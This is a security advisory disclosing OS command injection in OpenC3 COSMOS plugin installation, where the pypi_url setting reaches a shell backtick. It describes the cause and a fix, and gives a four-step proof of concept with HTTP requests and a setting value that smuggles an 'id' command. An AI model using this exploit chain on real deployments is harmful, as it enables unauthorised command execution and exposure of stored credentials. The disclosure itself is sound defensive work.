GHSA-vp3w-52v9-q57f: OS Command Injection

Published Sep 23, 2026
·
Updated

Summary An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypiurl setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details The pypiurl value is written through the setsetting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.installphase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/pluginmodel.rb:288):

ruby pypiurl = getsetting('pypiurl', scope: scope) # attacker-controlled, no validation pypiurl += '/simple' if pypiurl pipargs = "-i #{pypiurl} -r #{requirementspath}" output = /openc3/bin/pipinstall #{pipargs} # Ruby backtick -> /bin/sh -c

getsetting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/pythonpackagemodel.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. pluginmodel.rb:288 is the single site that uses a backtick.

PoC Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token: POST /openc3-api/auth/verify {"password":"<password>"} 2. Write the setting (JSON-RPC): POST /openc3-api/api {"jsonrpc":"2.0","method":"setsetting", "params":["pypiurl","https://pypi.org ; id > /tmp/A1PWNED 2>&1 ; #"], "keywordparams":{"scope":"DEFAULT"},"id":1} 3. Upload a plugin gem that contains a requirements.txt: POST /openc3-api/plugins (multipart: plugin=@malicious.gem, scope=DEFAULT) 4. Install it: POST /openc3-api/plugins/install/<id> (pluginhash from step 3, scope=DEFAULT)

The injected command executed inside the install process. Contents of the marker file written by the payload: uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix Run pipinstall through an argv array instead of a shell, matching pythonpackagemodel.rb:95:

ruby pipargv = ["-i", pypiurl] pipargv += ["--trusted-host", URI.parse(pypiurl).host] unless ENV['PIPENABLETRUSTEDHOST'].nil? pipargv += File.exist?(pyprojectpath) ? [gempath] : ["-r", requirementspath] OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pipargv, "pluginpipinstall", File.basename(gempath), Time.now + 3600.0, scope: scope)

Optionally also validate pypiurl as an http(s) URL when the setting is written.

Affected Software

1 affected componentFixes available
rubygems/openc3>=5.12.0<=7.2.1
7.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/openc3 to a version that resolves this vulnerability.

    Fixed in 7.3.0
  2. Configuration

    Validate pypi_url as an http(s) URL when the setting is written.

    OpenC3 plugin installation settings pypi_url = http(s) URL only
  3. Compensating control

    In openc3/lib/openc3/models/plugin_model.rb, run /openc3/bin/pipinstall through an argv array (matching python_package_model.rb:95) instead of interpolating pip arguments into a Ruby backtick shell command.

Event History

Sep 23, 2026
Advisory Published
via GitHub·06:51 PM
Data Sourced
via GitHub·06:51 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue in the open-source and Enterprise editions?

In the open-source edition, any authenticated user can exploit it because permission checks do not enforce the required permission. In the Enterprise edition, the affected setting change and plugin installation require the admin role.

2

What access and actions are required to trigger command execution?

An attacker needs a valid session token and access to the JSON-RPC endpoint at POST /openc3-api/api. They can set the pypi_url value through set_setting, then trigger plugin installation; shell metacharacters in that value are executed by /bin/sh during installation.

3

Which service executes the injected commands?

The commands execute on the openc3-cosmos-cmd-tlm-api service. They are invoked during the plugin installation phase when the service builds and runs the package-install command.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203